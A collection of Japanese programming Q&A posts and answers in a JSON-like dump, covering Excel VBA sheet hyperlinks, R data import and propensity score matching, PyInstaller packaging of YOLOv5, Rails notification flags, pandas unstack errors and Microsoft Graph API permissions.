"body": "`SubbAddress`の行を下記のように書き直してください。\n\n```\n\n '修正前\n SubAddress:=Worksheets(i).Name & \"!A1\", _\n '修正後\n SubAddress:=\"'\" & Worksheets(i).Name & \"'!A1\", _\n \n```\n\nシート名が数式などを含む場合には、シート名をシングルクォーテーション(`'`)で囲まないと暗黙の型変換の前に自動計算が発生してしまい、正しくリンクが貼れないようです。\n\n**修正前のコードでは正しく動作しないシート名の例**\n\n * 数式を含む: `0001-1`, `1+23`\n * 空白を含む: ` Hoge`, `Fuga `, `1 2`\n\n単純な前ゼロや日本語の文字列は未確認ですが、一律でシングルクォーテーション(\"'\")で囲って文字列として連結するのが無難でしょう。",
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"body": "やりたいことが正確には読み取れませんが、`A1`セルにシート名が記述されている時、当該シート名にジャンプするハイパーリンクを作成したいということでしょうか?\nVBAは不要で通常の数式で実現できます。具体的には\n\n```\n\n =HYPERLINK(\"#\"&ADDRESS(1,1,1,1,A1),A1)\n \n```\n\nという数式で実現できます。\n\n * [`ADDRESS`関数](https://support.microsoft.com/ja-jp/office/address-%E9%96%A2%E6%95%B0-d0c26c0d-3991-446b-8de4-ab46431d4f89) \n引数で指定されたセルを参照する文字列を作成します。\n\n * [`HYPERLINK`関数](https://support.microsoft.com/ja-jp/office/hyperlink-%E9%96%A2%E6%95%B0-333c7ce6-c5ae-4164-9c47-7de9b76f577f) \n指定された内容でハイパーリンクを作成します。ドキュメントにはありませんが、先頭に`#`を付けるとブック内リンクとして解釈されるようです。",
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"body": "テキストから参照先のシートにハイパーリンクをつけるのであれば、 \nテキストを選択し、挿入→リンク→ハイパーリンクで参照先のシートを選択すればできます。\n\nあとは、メニューのシートと参照先のシートを分割表示すればできませんか?",
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"body": "```\n\n install.packages('openxlsx')\n library(openxlsx) \n X <- read.xlsx(\"data6.xlsx\")\n \n```\n\n```\n\n >X <- read.xlsx(\"data6.xlsx\")\n Error in read.xlsx(\"data6.xlsx\") : could not find function \"read.xlsx\"\n \n```",
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"title": "RstudioでExcelファイルを読み込もうとしてもエラーになります。",
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"body": "現在、「GPSを用いたサッカーボールの位置取得システム」というテーマで研究を進めています。現段階ではGPSを取得する際に拡張ボードを付属したSpresenseを利用し、BluetoothでGPS情報を取得しています。今後、サッカーボール内にSpresenseを内蔵し、サッカーボールの位置情報を取得していく予定です。この研究を進めていく中でいくつかSpresenseに関しての質問があります。 \n質問は以下の3つです。\n\n1:Spresenseの耐Gや耐重力 \n2:Spresenseの基板材料の詳細 \n3:Spresenseで取得できるGPSの精度 \nわかる範囲で教えていただけると幸いです。",
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"title": "spresenseの性能について",
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"body": "```\n\n matched_data<-matchit(ope_timing~age+height+sex+weight+flag_anticoag_antiplatelet+flag_pulse+flag_icu+flag_hcu+BarthelIndex_adm_cat+cci_quanindex+jcsadm_1, data = H_pre, method = \"nearest\", replace = TRUE, ratio = 1)\n > match_data <- match.data(matched_data)\n > match_data\n \n```\n\n`ope_timing` (0 or 1 の二値変数です) の介入変数と、各種共変量を用いて、上記の通り、傾向スコアマッチングとして解析すると、\n\n```\n\n # A tibble: 1,001 × 165\n \n```\n\nと1:1マッチングにも関わらず、奇数になるのはどうしてでしょうか? \n原因ご教示ください。\n\nまた、マッチングしたペアだけの全項目を切り取って新しいExcelファイルに保存するにはどうしたらいいでしょうか?併せてご教示ください。宜しくお願い致します。",
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"title": "Rで傾向スコアマッチングがうまくいきません",
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"body": "言語はPHP、フレームワークはcakephp、dockerを使用して開発しています。\n\n`sh bin/cake migrations status` コマンドを実行した際に、以下の行が出ます。 \nこの行を削除するためには、どうすればよいですか。\n\n```\n\n up 20230529081025 Changetest ** MISSING **\n \n```",
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"title": "マイグレーションの** MISSING **という表示を消したい",
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"body": "## 概要\n\nYOLOv5のリポジトリからダウンロードしてきたdetect.pyをPyinstallerでexe化することを考えています \nexeにすることはできますが、実行しようとすると以下のエラーが出てしまいます\n\n```\n\n Traceback (most recent call last):\n File \"detect.py\", line 37, in <module>\n import torch\n ModuleNotFoundError: No module named 'torch'\n [29508] Failed to execute script detect\n \n```\n\nどのようにすればエラーを解決してYOLOv5をexeで実行できるでしょうか?\n\n## 詳細\n\n### 環境\n\nPython: 3.7.5 \nPyinstaller: 3.6 \nOS: Windowes10\n\n### スクリプト\n\nPyinstallerでexeを作成したときのメッセージは下記の通りです\n\n```\n\n ❯ pyinstaller .\\detect.spec --hiddenimport=torch\n 284 INFO: PyInstaller: 3.6\n 285 INFO: Python: 3.7.4 (conda)\n 286 INFO: Platform: Windows-10-10.0.19041-SP0\n 297 INFO: UPX is not available.\n 325 INFO: Extending PYTHONPATH with paths\n ['D:\\\\tmp\\\\pys\\\\yolov5', 'D:\\\\tmp\\\\pys\\\\yolov5']\n 326 INFO: checking Analysis\n 326 INFO: Building Analysis because Analysis-00.toc is non existent\n 327 INFO: Initializing module dependency graph...\n 338 INFO: Caching module graph hooks...\n 351 INFO: Analyzing base_library.zip ...\n 14995 INFO: Caching module dependency graph...\n 15287 INFO: running Analysis Analysis-00.toc\n 15321 INFO: Adding Microsoft.Windows.Common-Controls to dependent assemblies of final executable\n required by d:\\program\\anaconda\\python.exe\n 17218 INFO: Analyzing detect.py\n 24688 INFO: Processing pre-find module path hook distutils\n 24690 INFO: distutils: retargeting to non-venv dir 'd:\\\\program\\\\anaconda\\\\lib'\n 25180 INFO: Processing pre-find module path hook site\n 25181 INFO: site: retargeting to fake-dir 'd:\\\\program\\\\anaconda\\\\lib\\\\site-packages\\\\PyInstaller\\\\fake-modules'\n 31617 INFO: Processing pre-safe import module hook setuptools.extern.six.moves\n 65258 INFO: Processing pre-safe import module hook six.moves\n 84436 INFO: Processing pre-safe import module hook urllib3.packages.six.moves\n 240581 INFO: Processing pre-safe import module hook win32com\n 279374 INFO: Processing module hooks...\n 279374 INFO: Loading module hook \"hook-babel.py\"...\n 279670 INFO: Loading module hook \"hook-bokeh.py\"...\n 280134 INFO: Loading module hook \"hook-certifi.py\"...\n 280138 INFO: Loading module hook \"hook-Crypto.py\"...\n Traceback (most recent call last):\n File \"<string>\", line 2, in <module>\n ModuleNotFoundError: No module named 'Crypto.Math'\n 280644 INFO: Loading module hook \"hook-cryptography.py\"...\n 281578 INFO: Loading module hook \"hook-cv2.py\"...\n 281579 INFO: Loading module hook \"hook-cytoolz.itertoolz.py\"...\n 281602 INFO: Loading module hook \"hook-distutils.py\"...\n 281604 INFO: Loading module hook \"hook-docutils.py\"...\n 287944 INFO: Loading module hook \"hook-encodings.py\"...\n 288196 INFO: Loading module hook \"hook-h5py.py\"...\n 288202 INFO: Loading module hook \"hook-importlib_metadata.py\"...\n 288208 INFO: Loading module hook \"hook-IPython.py\"...\n 289128 INFO: Excluding import 'PyQt5'\n 289139 INFO: Removing import of PyQt5.QtWidgets from module IPython.external.qt_loaders\n 289139 INFO: Removing import of PyQt5 from module IPython.external.qt_loaders\n 289139 INFO: Removing import of PyQt5.QtCore from module IPython.external.qt_loaders\n 289140 INFO: Removing import of PyQt5.QtGui from module IPython.external.qt_loaders\n 289140 INFO: Removing import of PyQt5.QtSvg from module IPython.external.qt_loaders\n 289141 INFO: Excluding import 'gtk'\n 289152 INFO: Excluding import 'PySide'\n 289162 INFO: Removing import of PySide from module IPython.external.qt_loaders\n 289163 INFO: Excluding import 'matplotlib'\n 289172 INFO: Removing import of matplotlib from module IPython.core.pylabtools\n 289173 INFO: Removing import of matplotlib.pyplot from module IPython.core.pylabtools\n 289173 INFO: Removing import of matplotlib.figure from module IPython.core.pylabtools\n 289173 INFO: Removing import of matplotlib._pylab_helpers from module IPython.core.pylabtools\n 289175 INFO: Excluding import 'tkinter'\n 289185 INFO: Removing import of tkinter from module IPython.lib.clipboard\n 289187 INFO: Excluding import 'PyQt4'\n 289198 INFO: Removing import of PyQt4 from module IPython.external.qt_loaders\n 289199 INFO: Loading module hook \"hook-jedi.py\"...\n 289723 INFO: Loading module hook \"hook-jinja2.py\"...\n 289769 INFO: Loading module hook \"hook-jsonschema.py\"...\n 289779 INFO: Loading module hook \"hook-lib2to3.py\"...\n 289785 INFO: Loading module hook \"hook-llvmlite.py\"...\n 289799 INFO: Loading module hook \"hook-lxml.etree.py\"...\n 289801 INFO: Loading module hook \"hook-matplotlib.backends.py\"...\n 295549 INFO: Matplotlib backend \"GTK3Agg\": ignored\n cairo backend requires that pycairo>=1.11.0 or cairocffiis installed\n 296349 INFO: Matplotlib backend \"GTK3Cairo\": ignored\n cairo backend requires that pycairo>=1.11.0 or cairocffiis installed\n 297399 INFO: Matplotlib backend \"MacOSX\": ignored\n cannot import name '_macosx' from 'matplotlib.backends' (d:\\program\\anaconda\\lib\\site-packages\\matplotlib\\backends\\__init__.py)\n 299786 INFO: Matplotlib backend \"nbAgg\": added\n 302090 INFO: Matplotlib backend \"Qt4Agg\": added\n 302867 INFO: Matplotlib backend \"Qt4Cairo\": ignored\n cairo backend requires that pycairo>=1.11.0 or cairocffiis installed\n 303820 INFO: Matplotlib backend \"Qt5Agg\": added\n 304638 INFO: Matplotlib backend \"Qt5Cairo\": ignored\n cairo backend requires that pycairo>=1.11.0 or cairocffiis installed\n 305898 INFO: Matplotlib backend \"TkAgg\": added\n 306993 INFO: Matplotlib backend \"TkCairo\": ignored\n cairo backend requires that pycairo>=1.11.0 or cairocffiis installed\n 308099 INFO: Matplotlib backend \"WebAgg\": added\n 309109 INFO: Matplotlib backend \"WX\": ignored\n No module named 'wx'\n 309911 INFO: Matplotlib backend \"WXAgg\": ignored\n No module named 'wx'\n 310697 INFO: Matplotlib backend \"WXCairo\": ignored\n No module named 'wx'\n 311528 INFO: Matplotlib backend \"agg\": added\n 312327 INFO: Matplotlib backend \"cairo\": ignored\n cairo backend requires that pycairo>=1.11.0 or cairocffiis installed\n 313423 INFO: Matplotlib backend \"pdf\": added\n 314470 INFO: Matplotlib backend \"pgf\": added\n 315327 INFO: Matplotlib backend \"ps\": added\n 316177 INFO: Matplotlib backend \"svg\": added\n 317185 INFO: Matplotlib backend \"template\": added\n 318467 INFO: Loading module hook \"hook-matplotlib.py\"...\n 319267 INFO: Loading module hook \"hook-nbconvert.py\"...\n 319314 INFO: Loading module hook \"hook-nbformat.py\"...\n 319328 INFO: Loading module hook \"hook-notebook.py\"...\n 321893 INFO: Loading module hook \"hook-numba.py\"...\n 321904 INFO: Excluding import 'IPython'\n 321915 INFO: Removing import of IPython.paths from module numba.caching\n 321916 INFO: Removing import of IPython.utils.path from module numba.caching\n 321922 INFO: Excluding import 'scipy'\n 321938 INFO: Removing import of scipy.linalg.cython_lapack from module numba.targets.linalg\n 321939 INFO: Removing import of scipy.linalg.cython_blas from module numba.targets.linalg\n 321940 INFO: Loading module hook \"hook-numpy.core.py\"...\n 322191 INFO: MKL libraries found when importing numpy. Adding MKL to binaries\n 322203 INFO: Loading module hook \"hook-numpy.py\"...\n 322205 INFO: Loading module hook \"hook-openpyxl.py\"...\n 322224 INFO: Loading module hook \"hook-pandas.py\"...\n 330953 INFO: Loading module hook \"hook-patsy.py\"...\n 330955 INFO: Loading module hook \"hook-PIL.Image.py\"...\n 332503 INFO: Loading module hook \"hook-PIL.py\"...\n 332514 INFO: Excluding import 'PyQt5'\n 332522 INFO: Removing import of PyQt5.QtCore from module PIL.ImageQt\n 332522 INFO: Removing import of PyQt5.QtGui from module PIL.ImageQt\n 332524 INFO: Excluding import 'PyQt4'\n 332532 INFO: Removing import of PyQt4 from module PIL.ImageQt\n 332533 INFO: Excluding import 'PySide'\n 332541 INFO: Removing import of PySide from module PIL.ImageQt\n 332542 INFO: Excluding import 'tkinter'\n 332552 INFO: Removing import of tkinter from module PIL.ImageTk\n 332553 INFO: Import to be excluded not found: 'FixTk'\n 332553 INFO: Loading module hook \"hook-PIL.SpiderImagePlugin.py\"...\n 332562 INFO: Excluding import 'tkinter'\n 332568 INFO: Import to be excluded not found: 'FixTk'\n 332568 INFO: Loading module hook \"hook-pkg_resources.py\"...\n 334527 INFO: Excluding import '__main__'\n 334534 INFO: Removing import of __main__ from module pkg_resources\n 334535 INFO: Loading module hook \"hook-pycparser.py\"...\n 334537 INFO: Loading module hook \"hook-pydoc.py\"...\n 334538 INFO: Loading module hook \"hook-pygments.py\"...\n 340228 INFO: Loading module hook \"hook-PyQt5.py\"...\n 341244 WARNING: Hidden import \"PyQt5.sip\" not found!\n 341245 INFO: Loading module hook \"hook-PyQt5.QtCore.py\"...\n 341754 INFO: Loading module hook \"hook-PyQt5.QtGui.py\"...\n 342197 INFO: Loading module hook \"hook-PyQt5.QtSvg.py\"...\n 342887 INFO: Loading module hook \"hook-PyQt5.QtWidgets.py\"...\n 343340 INFO: Loading module hook \"hook-pytest.py\"...\n 346078 INFO: Loading module hook \"hook-pythoncom.py\"...\n 347369 INFO: Loading module hook \"hook-pytz.py\"...\n 347613 INFO: Loading module hook \"hook-pywintypes.py\"...\n 348893 INFO: Loading module hook \"hook-scipy.linalg.py\"...\n 348895 INFO: Loading module hook \"hook-scipy.py\"...\n 348900 INFO: Loading module hook \"hook-scipy.sparse.csgraph.py\"...\n 348922 INFO: Loading module hook \"hook-scipy.special._ellip_harm_2.py\"...\n 348923 INFO: Loading module hook \"hook-scipy.special._ufuncs.py\"...\n 348925 INFO: Loading module hook \"hook-setuptools.py\"...\n 350829 INFO: Loading module hook \"hook-sphinx.py\"...\n 363762 INFO: Loading module hook \"hook-sqlalchemy.py\"...\n 365028 INFO: Found 4 sqlalchemy hidden imports\n 365033 WARNING: Hidden import \"MySQLdb\" not found!\n 365037 WARNING: Hidden import \"psycopg2\" not found!\n 370685 WARNING: Hidden import \"sqlalchemy.sql.functions.func\" not found!\n 370696 INFO: Import to be excluded not found: 'sqlalchemy.testing'\n 370696 INFO: Loading module hook \"hook-sqlite3.py\"...\n 370913 INFO: Loading module hook \"hook-sysconfig.py\"...\n 370915 INFO: Loading module hook \"hook-tables.py\"...\n 370918 INFO: Loading module hook \"hook-win32com.py\"...\n 371318 INFO: Loading module hook \"hook-xml.dom.domreg.py\"...\n 371320 INFO: Loading module hook \"hook-xml.etree.cElementTree.py\"...\n 371321 INFO: Loading module hook \"hook-xml.py\"...\n 371323 INFO: Loading module hook \"hook-zmq.py\"...\n 383434 WARNING: Hidden import \"C1083:\" not found!\n 383438 WARNING: Hidden import \"d:\\program\\anaconda\\lib\\site-packages\\zmq\\backend\\cffi\\__pycache__\\_cffi_ext.c(213):\" not found!\n 383672 WARNING: Hidden import \"or\" not found!\n 383675 WARNING: Hidden import \"directory\" not found!\n 384030 WARNING: Hidden import \"file\" not found!\n 384035 WARNING: Hidden import \"fatal\" not found!\n 384040 WARNING: Hidden import \"error\" not found!\n 384044 WARNING: Hidden import \"_cffi_ext.c\" not found!\n 384049 WARNING: Hidden import \"ファイルを開けません。'sys/un.h':No\" not found!\n 384256 WARNING: Hidden import \"such\" not found!\n 384256 INFO: Loading module hook \"hook-_tkinter.py\"...\n 384699 INFO: checking Tree\n 384699 INFO: Building Tree because Tree-00.toc is non existent\n 384700 INFO: Building Tree Tree-00.toc\n 384782 INFO: checking Tree\n 384782 INFO: Building Tree because Tree-01.toc is non existent\n 384783 INFO: Building Tree Tree-01.toc\n 384797 INFO: Loading module hook \"hook-gevent.py\"...\n 385465 INFO: Determining a mapping of distributions to packages...\n 506593 WARNING: Unable to find package for requirement greenlet from package gevent.\n 506594 INFO: Packages required by gevent:\n ['cffi']\n 514929 INFO: Looking for ctypes DLLs\n 515808 INFO: Analyzing run-time hooks ...\n 515873 INFO: Including run-time hook 'pyi_rth_traitlets.py'\n 515889 INFO: Including run-time hook 'pyi_rth_multiprocessing.py'\n 515908 INFO: Including run-time hook 'pyi_rth_pkgres.py'\n 515924 INFO: Including run-time hook 'pyi_rth_win32comgenpy.py'\n 515939 INFO: Including run-time hook 'pyi_rth__tkinter.py'\n 515953 INFO: Including run-time hook 'pyi_rth_pyqt5.py'\n 515966 INFO: Including run-time hook 'pyi_rth_mplconfig.py'\n 515980 INFO: Including run-time hook 'pyi_rth_mpldata.py'\n 515992 INFO: Including run-time hook 'pyi_rth_certifi.py'\n 516142 INFO: Looking for dynamic libraries\n 517334 WARNING: lib not found: msmpi.dll dependency of d:\\program\\anaconda\\Library\\bin\\mkl_blacs_msmpi_lp64.dll\n 517843 WARNING: lib not found: mpich2mpi.dll dependency of d:\\program\\anaconda\\Library\\bin\\mkl_blacs_mpich2_ilp64.dll\n 517926 WARNING: lib not found: msmpi.dll dependency of d:\\program\\anaconda\\Library\\bin\\mkl_blacs_msmpi_ilp64.dll\n 518616 WARNING: lib not found: impi.dll dependency of d:\\program\\anaconda\\Library\\bin\\mkl_blacs_intelmpi_lp64.dll\n 521834 WARNING: lib not found: pgc14.dll dependency of d:\\program\\anaconda\\Library\\bin\\mkl_pgi_thread.dll\n 521857 WARNING: lib not found: pgf90.dll dependency of d:\\program\\anaconda\\Library\\bin\\mkl_pgi_thread.dll\n 521873 WARNING: lib not found: pgf90rtl.dll dependency of d:\\program\\anaconda\\Library\\bin\\mkl_pgi_thread.dll\n 524451 WARNING: lib not found: mpich2mpi.dll dependency of d:\\program\\anaconda\\Library\\bin\\mkl_blacs_mpich2_lp64.dll\n 526839 WARNING: lib not found: impi.dll dependency of d:\\program\\anaconda\\Library\\bin\\mkl_blacs_intelmpi_ilp64.dll\n 539960 INFO: Looking for eggs\n 539961 INFO: Using Python library d:\\program\\anaconda\\python37.dll\n 539961 INFO: Found binding redirects:\n []\n 540043 INFO: Warnings written to D:\\tmp\\pys\\yolov5\\build\\detect\\warn-detect.txt\n 541542 INFO: Graph cross-reference written to D:\\tmp\\pys\\yolov5\\build\\detect\\xref-detect.html\n 542237 INFO: checking PYZ\n 542238 INFO: Building PYZ because PYZ-00.toc is non existent\n 542238 INFO: Building PYZ (ZlibArchive) D:\\tmp\\pys\\yolov5\\build\\detect\\PYZ-00.pyz\n 557688 INFO: Building PYZ (ZlibArchive) D:\\tmp\\pys\\yolov5\\build\\detect\\PYZ-00.pyz completed successfully.\n 557968 INFO: checking PKG\n 557969 INFO: Building PKG because PKG-00.toc is non existent\n 557969 INFO: Building PKG (CArchive) PKG-00.pkg\n 812775 INFO: Building PKG (CArchive) PKG-00.pkg completed successfully.\n 813207 INFO: Bootloader d:\\program\\anaconda\\lib\\site-packages\\PyInstaller\\bootloader\\Windows-64bit\\run.exe\n 813207 INFO: checking EXE\n 813208 INFO: Building EXE because EXE-00.toc is non existent\n 813208 INFO: Building EXE from EXE-00.toc\n 813209 INFO: Appending archive to EXE D:\\tmp\\pys\\yolov5\\dist\\detect.exe\n 814031 INFO: Building EXE from EXE-00.toc completed successfully.\n \n```\n\nexe化対象のspecファイルは以下の通りです\n\n```\n\n # -*- mode: python ; coding: utf-8 -*-\n \n block_cipher = None\n import sys\n sys.setrecursionlimit(5000)\n \n a = Analysis(['detect.py'],\n pathex=['D:\\\\tmp\\\\pys\\\\yolov5'],\n binaries=[],\n datas=[],\n hiddenimports=['torch'],\n hookspath=[],\n runtime_hooks=[],\n excludes=[],\n win_no_prefer_redirects=False,\n win_private_assemblies=False,\n cipher=block_cipher,\n noarchive=False)\n pyz = PYZ(a.pure, a.zipped_data,\n cipher=block_cipher)\n exe = EXE(pyz,\n a.scripts,\n a.binaries,\n a.zipfiles,\n a.datas,\n [],\n name='detect',\n debug=False,\n bootloader_ignore_signals=False,\n strip=False,\n upx=True,\n upx_exclude=[],\n runtime_tmpdir=None,\n console=True )\n \n```\n\nonefileとhidden-importの指定の有無はそれぞれ試してみましたが、同じ結果でした \npythonのままであればdetect.pyを実行できることは確認済みです",
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"body": "エクセルファイルで選択したコメントのみ表示させたくマクロ作成中ですが、全然できず・・。 \n”Set pComment = Selection.Cells”\nこれで、自分が選択したセルだけ対応してね~って指示したいんですが、ずっとエラーで、ネットで検索してもなぜかでてこず。範囲は指定しないとダメ的なサイトは見つけましたが・・・。どなたかお力を貸してください。特定のファイルではなく、いろんなファイルで使えるマクロを作成したく思っております。\n\nSub 選択したセルのみコメント表示する()\n\n```\n\n Dim pComment As Comment\n \n```\n\nFor Each pComment In Application.ActiveSheet.Comments \nSet pComment = Selection.Cells \npComment.Comment.Visible = True \nNext\n\nEnd Sub\n\nよろしくお願いします。\n\n※すいません。下記でうまくいきました!! \nSub AllCommentVisibleTrue() \nOn Error Resume Next \nDim c As Range \nFor Each c In Selection \nc.Comment.Visible = True \nNext c \nEnd Sub",
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"body": "通知機能で過去にチェックをしているか、いないかの確認の為にboolean型のcheckというカラムを通知(Notification)テーブルに入れています。 \nNotificationコントローラの表示箇所で、checkがfalseの新着通知を開いたらtrueに切り替わるようにしたいのですが、そこでエラーが発生しました。\n\nエラー箇所はNotification_controller.rbのindexのチェックの切り替えを行うコードです。\n\n```\n\n @notifications.where(checked: false).each do |notification|\n notification.update_attribute(checked: true)\n end\n \n```\n\nエラー内容は\n\n```\n\n ArgumentError in NotificationsController#index\n wrong number of arguments (given 1, expected 2)\n Extracted source (around line #6):\n \n #通知画面を開くとcheckedをtrueにして通知確認済にする\n @notifications.where(checked: false).each do |notification|\n notification.update_attribute(checked: true) ←ここの箇所\n end\n end\n \n \n```\n\nバージョン \nRuby on Rails6\n\n他に関連するであろうコードがあると思う方は、編集で追記させて頂きますので拝見して頂けたらと思っております。",
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"body": "<https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-\nupdate_attribute>\n\n`update_attribute(checked, true)`のように使うのが正しいと思われます。",
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"body": "notification.update_columns(checked: true)でtureに切り替えることが出来ました。",
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"body": "PandasのDataFrameを、unstackしたいのですが、 \nエラー「ValueError: Index contains duplicate entries, cannot reshape」が発生し困っています。 \nエラーメッセージより、unstackするDataFrameは、unstack後のインデックスがユニークでないといけないようなのです。 \n以下のような、データ変換をしたいのですが、どのようにすればよいか、教えていただけないでしょうか。\n\n```\n\n import pandas as pd\n import numpy as np\n \n df = pd.DataFrame(\n data=[\n [10, 100],\n [20, 200],\n [30, 300],\n [40, 400],\n ],\n index=[\n ['埼玉', '埼玉', '東京', '東京'],\n ['タイプA', 'タイプB', 'タイプC', 'タイプC'], # ←キーが重複しているとエラーが発生しunstackできないようです。\n # ['タイプA', 'タイプB', 'タイプB', 'タイプC'], # ←正しくunstackできました。\n ],\n columns=[\n ['値1', '値2'],\n ]\n )\n print('【入力】')\n display(df)\n \n df = df.unstack(level=0)\n df = df.swaplevel(axis='columns').sort_index(axis='columns')\n display(df)\n \n```\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/0RW49.png)](https://i.stack.imgur.com/0RW49.png)\n\nエラーメッセージ\n\n```\n\n ---------------------------------------------------------------------------\n ValueError Traceback (most recent call last)\n Cell In[2], line 30\n 27 print('【入力】')\n 28 display(df)\n ---> 30 df = df.unstack(level=0)\n 31 df = df.swaplevel(axis='columns').sort_index(axis='columns')\n 32 display(df)\n \n File ~/workspace/orcas_proj/venv/lib/python3.8/site-packages/pandas/core/frame.py:8961, in DataFrame.unstack(self, level, fill_value)\n 8899 \"\"\"\n 8900 Pivot a level of the (necessarily hierarchical) index labels.\n 8901 \n (...)\n 8957 dtype: float64\n 8958 \"\"\"\n 8959 from pandas.core.reshape.reshape import unstack\n -> 8961 result = unstack(self, level, fill_value)\n 8963 return result.__finalize__(self, method=\"unstack\")\n \n File ~/workspace/orcas_proj/venv/lib/python3.8/site-packages/pandas/core/reshape/reshape.py:475, in unstack(obj, level, fill_value)\n 473 if isinstance(obj, DataFrame):\n 474 if isinstance(obj.index, MultiIndex):\n --> 475 return _unstack_frame(obj, level, fill_value=fill_value)\n 476 else:\n 477 return obj.T.stack(dropna=False)\n \n File ~/workspace/orcas_proj/venv/lib/python3.8/site-packages/pandas/core/reshape/reshape.py:498, in _unstack_frame(obj, level, fill_value)\n 496 def _unstack_frame(obj: DataFrame, level, fill_value=None):\n 497 assert isinstance(obj.index, MultiIndex) # checked by caller\n --> 498 unstacker = _Unstacker(obj.index, level=level, constructor=obj._constructor)\n 500 if not obj._can_fast_transpose:\n 501 mgr = obj._mgr.unstack(unstacker, fill_value=fill_value)\n \n File ~/workspace/orcas_proj/venv/lib/python3.8/site-packages/pandas/core/reshape/reshape.py:136, in _Unstacker.__init__(self, index, level, constructor)\n 128 if num_cells > np.iinfo(np.int32).max:\n 129 warnings.warn(\n 130 f\"The following operation may generate {num_cells} cells \"\n 131 f\"in the resulting pandas object.\",\n 132 PerformanceWarning,\n 133 stacklevel=find_stack_level(),\n 134 )\n --> 136 self._make_selectors()\n \n File ~/workspace/orcas_proj/venv/lib/python3.8/site-packages/pandas/core/reshape/reshape.py:188, in _Unstacker._make_selectors(self)\n 185 mask.put(selector, True)\n 187 if mask.sum() < len(self.index):\n --> 188 raise ValueError(\"Index contains duplicate entries, cannot reshape\")\n 190 self.group_index = comp_index\n 191 self.mask = mask\n \n ValueError: Index contains duplicate entries, cannot reshape\n \n```\n\n以下は、期待する結果です。\n\n```\n\n # 期待する結果\n df = pd.DataFrame(\n data=[\n [np.nan, np.nan, 10, 100],\n [np.nan, np.nan, 20, 200],\n [30, 300, np.nan, np.nan],\n [40, 400, np.nan, np.nan],\n ],\n index=['タイプA', 'タイプB', 'タイプC', 'タイプC'],\n columns=[\n ['埼玉', '埼玉', '東京', '東京'],\n ['値1', '値2', '値1', '値2'],\n ]\n )\n print('【期待する結果】')\n display(df)\n \n```\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/EdnTd.png)](https://i.stack.imgur.com/EdnTd.png)",
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"title": "キーがユニークでないDataFrameをunstackする方法",
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"body": "```\n\n df = df.T.groupby(df.index, axis=1).sum().T\n df.index = pd.MultiIndex.from_tuples(df.index)\n \n df = df.unstack(level=0)\n df = df.swaplevel(axis='columns').sort_index(axis='columns')\n \n # 埼玉 東京 \n # 値1 値2 値1 値2\n # タイプA 10.0 100.0 NaN NaN\n # タイプB 20.0 200.0 NaN NaN\n # タイプC NaN NaN 70.0 700.0\n \n```",
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"body": "ユーザーのオブジェクトIDを用いて、ユーザー名(displayName)を取得したいと考えています。\n\n## 試したこと\n\n 1. Azure Active Directoryの設定\n\nアプリの登録 > 該当のアプリを選択 > APIアクセスの許可 \nにおいて、User.Readの設定\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/6JM9a.png)](https://i.stack.imgur.com/6JM9a.png)\n\n 2. access_tokenの取得\n\n下記のAPIでaccess_tokenを取得\n\n```\n\n POST https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token\n \n```\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/VkEeE.png)](https://i.stack.imgur.com/VkEeE.png)\n\n 3. Microsoft graph APIの実行\n\n上記access_tokenを使用して、下記APIを実行するとエラーになってしまいます。\n\n```\n\n GET https://graph.microsoft.com/v1.0/users/{ユーザーオブジェクトID}\n \n```\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/yvW94.png)](https://i.stack.imgur.com/yvW94.png)\n\n一覧取得でも同じ結果になってしまいます。\n\n```\n\n GET https://graph.microsoft.com/v1.0/users\n \n```\n\n他に設定すべき点や、間違っていそうな点はありそうでしょうか? \nよろしくお願いいたします",
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"title": "Microsoft Graph APIでユーザー情報を取得したい",
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"body": "こちらは自己解決していました。\n\n`User.Read` から `User.Read.All` (アプリケーションの許可が必要なやつ) に変えて、 \nエンタープライズアプリケーションに移動 > アクセス許可 > xxxxxxに管理者の同意を与えます \nを行ってから、同じAPIを実行しました。",
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"body": "ナビゲーションバーで通知を未確認なら「未確認通知」確認済みなら「通知」とだけ表示して、未確認通知がある際にしっかりと未確認通知の表示が行われるように確認をしようとしたのですが、if文の箇所でエラーが起きました。\n\napplications/_navbar.html.erb\n\n```\n\n <% if Notification.checked == false %>\n <li class=\"ms-3\"><%= link_to '未確認の通知', notifications_path, class: 'nav-link plan-nav'%></li>\n <% else %>\n <li class=\"ms-3\"><%= link_to '通知', notifications_path, class: 'nav-link plan-nav' %></li>\n <% end %>\n \n```\n\nエラー文\n\n```\n\n NoMethodError in Toppages#index\n Showing /home/ubuntu/environment/test01/app/views/layouts/_navbar.html.erb where line #23 raised:\n \n undefined method `checked' for Notification:Class\n Extracted source (around line #23):\n \n <li class=\"ms-3\"><%= link_to 'TOP', '/', class: 'nav-link plan-nav' %></li>\n <li class=\"dropdown-divider\"></li>\n <% if Notification.checked == false %> ←エラー箇所\n <li class=\"ms-3\"><%= link_to '未確認の通知', notifications_path, class: 'nav-link plan-nav'%></li>\n <% else %>\n <li class=\"ms-3\"><%= link_to '通知', notifications_path, class: 'nav-link plan-nav' %></li>\n \n```",
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"title": "if文でエラーが起こりました。",
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"body": "通知ボタンを表示するコントローラーで通知テーブルから自分に届いているcheckdeがfalseのデータを取り出して、if文で存在していたら未確認の通知を。 \n無かった場合は普通の通知ボタンを表示させることで解決しました。",
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"body": "Bootstrapのiconをボタンにしたいのですが、うまい事使用することが出来ません。 \n文字ではなく、bootstrapのベルのiconだけのボタンにしたいのですが、classにbi bi-bellを含めても表示されません。 \nlink_toには違ったコードの書き方なのでしょうか?\n\n```\n\n <div class=\"notification_navbar\">\n <% if @notification.presence %>\n <div class=\"cecked-false\">\n <p class=\"ms-3 cecked-false-mark \"><%= link_to '通知', notifications_path, class: 'nav-link plan-nav cecked-false-link'%></p>\n </div>\n <% else %>\n <p class=\"ms-3\"><%= link_to notifications_path, class: 'nav-link plan-nav' { %><i class=\"bi bi-bell\"></i><% } %></p>\n <% end %>\n </div>\n \n```\n\nbootstrap/icon \n<https://icons.getbootstrap.jp/icons/bell/>",
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"title": "Bootstrapのiconとlink_to",
